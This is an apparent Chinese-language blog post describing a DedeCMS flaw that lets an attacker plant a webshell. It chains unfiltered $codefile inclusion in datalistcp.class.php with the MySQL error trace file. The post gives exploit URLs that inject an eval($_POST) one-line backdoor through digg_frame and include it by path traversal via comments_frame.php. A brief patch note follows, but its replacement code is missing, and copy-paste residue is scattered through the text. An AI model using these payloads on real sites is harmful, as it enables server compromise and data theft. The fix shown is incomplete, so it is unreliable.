中午研究了一下了,此漏洞非常严重,可直接获得webshell。
inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc'); 利用方法: 后门地址: 密码是:xxxxx 总结:
同时,inculde/dedesql.class.php 中预览源代码打印关于1 $errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.inc';
$codefile没有做过滤。
我们可以用datalistcp.class.php 包含mysql_error_trace.inc 执行PHP脚本程序。
www.xxxxx.com/plus/digg_frame ... d&id=1024e1024&mid=*/eval%28$_POST[xxxxx]%29;/*
写入一句话后门
www.xxxxx.com/plus/comments_frame.php?needCode=gb2312.inc..\..\../../data/mysql_error_trace用一句话客户端连接
修补方案:
将inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
替换成:预览源代码打印关于
或者将$codefile直接替换成gb2313 utf-8等
之前一直以为inculde/dedesql.class.php 可以创建一个mysql_error_trace.php 并写入后门,后来测试下,发现不行。
然后找了inculde/datalistcp.class.php这么一个玩意。plus/comments_frame.php 是用来注册DEDEINC这个变量,否则不好使。